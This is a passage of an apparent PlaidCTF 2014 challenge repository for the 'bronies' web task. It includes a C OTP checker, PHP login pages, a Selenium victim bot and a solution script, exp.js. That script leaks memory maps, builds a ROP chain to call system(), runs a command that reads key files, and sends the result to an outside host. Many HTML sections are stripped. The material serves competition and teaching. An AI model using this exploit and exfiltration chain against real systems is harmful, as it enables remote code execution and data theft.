53 | log_attempt(g_username, otp, login_success);
54 | return login_success;
55 | }
56 |
57 | int main(int argc, char **argv) {
58 | char *username = NULL;
59 | char *password = NULL;
60 | char *otp = NULL;
61 |
62 | size_t x;
63 | getline(&username, &x, stdin);
64 | getline(&password, &x, stdin);
65 | getline(&otp, &x, stdin);
66 |
67 | int login_success = verify_otp(username, password, otp);
68 |
69 | free(username);
70 | free(password);
71 | free(otp);
72 |
73 | if (login_success) {
74 | puts("OTP correct...");
75 | return 0;
76 | }
77 |
78 | puts("OTP incorrect!");
79 | return 1;
80 | }
81 |
--------------------------------------------------------------------------------
/web/bronies/login/www/checkotp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/web/bronies/login/www/checkotp
--------------------------------------------------------------------------------
/web/bronies/login/www/index.php:
--------------------------------------------------------------------------------
1 |
7 |
8 |
9 |
10 |
11 |
12 | eXtreme Secure Solutions Internal Portal
13 |
14 |
15 |
16 |
17 |
18 |
eXtreme Secure Solutions Internal Portal
19 |
20 | Flag #1: xss_problem_is_web_problem
21 | This challenge has one more flag. Break into the internal server to capture it!
22 |
23 |
24 | You are logged in as = htmlspecialchars($username) ?>.
25 |
26 |
27 | Reminder: For security reasons, all internet traffic is blocked on the Bigson.
28 |
29 |
30 |
40 |
41 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 | eXtreme Secure Solutions Internal Login
54 |
55 |
56 |
57 |
58 |
59 |
eXtreme Secure Solutions Internal Login
60 |
79 |
80 |
81 |
82 |
83 |
--------------------------------------------------------------------------------
/web/bronies/login/www/login.php:
--------------------------------------------------------------------------------
1 |
9 |
10 | Login status
11 |
12 | array("pipe", "r"),
15 | 1 => array("pipe", "w"),
16 | );
17 |
18 | $p = proc_open("./checkotp 2>&1", $descriptorspec, $pipes);
19 | fwrite($pipes[0], $username . "\n");
20 | fwrite($pipes[0], $password . "\n");
21 | fwrite($pipes[0], $otp . "\n");
22 | fclose($pipes[0]);
23 | echo stream_get_contents($pipes[1]);
24 | fclose($pipes[1]);
25 | $otp_correct = proc_close($p) == 0;
26 |
27 | $login_correct = false;
28 | if ($username !== "ebleford" || md5($password) !== "86d0b09363e0346792f72cdfe3559537") {
29 | echo '- Username or password incorrect!
';
30 | } else {
31 | echo '- Login correct...
';
32 | $login_correct = true;
33 | }
34 | ?>
35 |
36 | window.location='/';";
41 | echo "Logged in!";
42 | }
43 | ?>
44 |
45 |
--------------------------------------------------------------------------------
/web/bronies/login/www/logout.php:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/web/bronies/solution/exp.js:
--------------------------------------------------------------------------------
1 | function request(url) {
2 | var xhr = new XMLHttpRequest();
3 | xhr.open('GET', url, false);
4 | xhr.send(null);
5 | return xhr.responseText;
6 | }
7 |
8 | function rep(x, n) {
9 | return Array(n + 1).join(x);
10 | }
11 |
12 | function ljust(s, x, n) {
13 | return (s + rep(x, n)).slice(0, n)
14 | }
15 |
16 | function rjust(s, x, n) {
17 | return (rep(x, n) + s).slice(-n)
18 | }
19 |
20 | function pack(d) {
21 | var result = '';
22 | for (var i = 0; i < 8; ++i) {
23 | result += '%' + rjust((d & 0xff).toString(16), '0', 2);
24 | d /= 256;
25 | }
26 | return result;
27 | }
28 |
29 | var url = 'http://bigson.essolutions.largestctf.com'
30 | var proc_maps = request(url + '/index?file=/proc/self/maps');
31 | var lines = proc_maps.split('\n');
32 | var libc_base = null;
33 | var libcpp_base = null;
34 | for (var i in lines) {
35 | if (libc_base == null && lines[i].indexOf('libc') != -1) {
36 | libc_base = parseInt(lines[i].split('-')[0], 16);
37 | }
38 | if (libcpp_base == null && lines[i].indexOf('libstdc++') != -1) {
39 | libcpp_base = parseInt(lines[i].split('-')[0], 16);
40 | }
41 | }
42 |
43 | prompt();
44 |
45 | var system = libc_base + 0x3ff80
46 |
47 | /*
48 | b6a22: 49 89 f4 mov %rsi,%r12
49 | b6a25: 48 89 d5 mov %rdx,%rbp
50 | b6a28: ff 50 30 callq *0x30(%rax)
51 | */
52 | var gadget1 = libcpp_base + 0xb6a22
53 |
54 | /*
55 | 7b2b7: 4c 89 e7 mov %r12,%rdi
56 | 7b2ba: ff 50 60 callq *0x60(%rax)
57 | */
58 | var gadget2 = libcpp_base + 0x7b2b7
59 |
60 | function encode(s) {
61 | var result = '';
62 | for (var i in s) {
63 | if (s[i] == ' ' || s[i] == '\n' || s[i] == '&' || s[i] == '#') {
64 | result += '%' + rjust(s.charCodeAt(i).toString(16), '0', 2);
65 | } else {
66 | result += s[i];
67 | }
68 | }
69 | return result;
70 | }
71 |
72 | function exploit(command) {
73 | command = ljust(command, 'A', 0x30);
74 | command += pack(gadget2);
75 | command += rep('A', 0x28);
76 | command += pack(system);
77 |
78 | var key1 = rep('B', 257);
79 | var value1 = rep('C', 0x18) + pack(gadget1);
80 | var key2 = ljust(encode(command), 'X', 256);
81 | var value2 = "E"
82 |
83 | var target_url = url + '/index?' + key1 + '=' + value1 + '&' + key2 + '=' + value2;
84 | try {
85 | var response = request(target_url);
86 | } catch (e) {
87 | return null;
88 | }
89 |
90 | return response;
91 | }
92 |
93 | exploit("(id;cat *key*)>/tmp/@;#");
94 | var x = request(url + '/index?file=/tmp/@');
95 | exploit("rm /tmp/@;#");
96 | window.location = 'https://rzhou.org/?ctf=' + escape(x);
97 |
--------------------------------------------------------------------------------
/web/bronies/solution/xss.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | XSS
6 |
7 |
8 |
9 |
14 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/web/bronies/victim/victim.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import sys
3 | import time
4 | import hashlib
5 | import hmac
6 | import struct
7 | from selenium import webdriver
8 | from selenium.webdriver.common.keys import Keys
9 | import beanstalkc
10 | import multiprocessing
11 |
12 | NPROCS=16
13 | LOGIN_URL = 'http://portal.essolutions.largestctf.com/'
14 | XSS_SITE = 'http://54.196.225.30/'
15 | HMAC_KEY = '34a23eb4a5dc54e73c459cb1a1ecad22'
16 |
17 | def frob(s):
18 | return ''.join(chr(ord(x)^42) for x in s)
19 |
20 | def generate_otp(username, password):
21 | tok = (username + '\n:' + frob(password + '\n') + ':' +
22 | struct.pack('
2 |
3 | halphow2js
4 |
5 |
6 |
7 |
8 |
9 |
10 |
13 |
14 |
15 |